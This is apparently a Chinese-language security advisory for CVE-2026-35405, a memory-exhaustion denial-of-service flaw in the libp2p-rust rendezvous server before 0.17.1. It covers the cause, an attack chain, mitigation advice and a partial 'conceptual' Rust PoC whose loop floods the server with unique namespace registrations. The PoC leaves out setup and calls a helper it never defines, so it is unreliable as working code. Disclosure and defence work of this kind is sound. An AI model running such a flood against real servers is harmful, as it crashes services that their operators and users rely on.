IPBUF安全漏洞报告
English
CVE-2026-35405 CVSS 7.5 高危

CVE-2026-35405 libp2p-rust 拒绝服务漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35405
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libp2p-rust

相关标签

拒绝服务资源耗尽libp2pRustOOM

漏洞概述

libp2p-rust 在 0.17.1 之前的版本中,其 rendezvous 服务器组件缺乏对单个节点注册命名空间数量的限制。攻击者可通过循环注册大量唯一命名空间,导致服务器持续分配内存而无法释放,最终引发内存溢出(OOM)致使服务崩溃。

技术细节

该漏洞主要源于 libp2p-rust 的 rendezvous 服务器在处理节点注册逻辑时,未对单一节点可申请的命名空间数量实施有效的配额限制。在受影响版本中,服务器默认信任客户端请求并无限制地分配内存资源以存储注册信息。攻击者可以利用这一设计缺陷,构造恶意脚本或利用女巫节点,向目标服务器发起海量的注册请求,每个请求使用唯一的命名空间标识符。由于服务器缺乏清理或限速机制,这种持续的内存分配将迅速消耗系统可用内存,最终导致操作系统触发 OOM Killer 强制杀掉服务进程,造成严重的拒绝服务。

攻击链分析

STEP 1
侦察
攻击者发现目标网络中运行着存在漏洞的 libp2p-rust rendezvous 服务器(版本 < 0.17.1)。
STEP 2
资源耗尽
攻击者建立连接,利用脚本循环向服务器发送大量包含唯一命名空间的注册请求。
STEP 3
内存溢出
服务器无限制地为每个请求分配内存,导致系统内存迅速耗尽。
STEP 4
服务拒绝
操作系统触发 OOM Killer 强制终止服务器进程,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC for CVE-2026-35405 // This code demonstrates the logic to exhaust server memory by registering unique namespaces. use libp2p::{rendezvous, Swarm}; use std::time::Duration; #[tokio::main] async fn main() { // ... (Swarm setup omitted for brevity) ... let mut swarm = /* ... */; loop { // Generate a unique namespace for each iteration let unique_namespace = format!("exploit_namespace_{}", uuid::Uuid::new_v4()); // Send registration request to the server // In a vulnerable server (< 0.17.1), this allocates memory without check match swarm.behaviour_mut().register( rendezvous::Namespace::new(unique_namespace.clone()).unwrap(), rendezvous::Peer::new(random_peer_id()) ) { Ok(_) => println!("Registered namespace: {}", unique_namespace), Err(e) => eprintln!("Registration failed: {:?}", e), } // Optional: Small delay to avoid immediate local network saturation, but keep it fast tokio::time::sleep(Duration::from_millis(10)).await; // The server will eventually OOM (Out Of Memory) and crash. } }

影响范围

libp2p-rust < 0.17.1

防御指南

临时缓解措施
若无法立即升级,建议在防火墙或网关层面限制对 rendezvous 服务器的请求频率,并密切监控服务器内存使用情况。一旦发现内存异常飙升,应自动重启服务并暂时封禁来源 IP。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表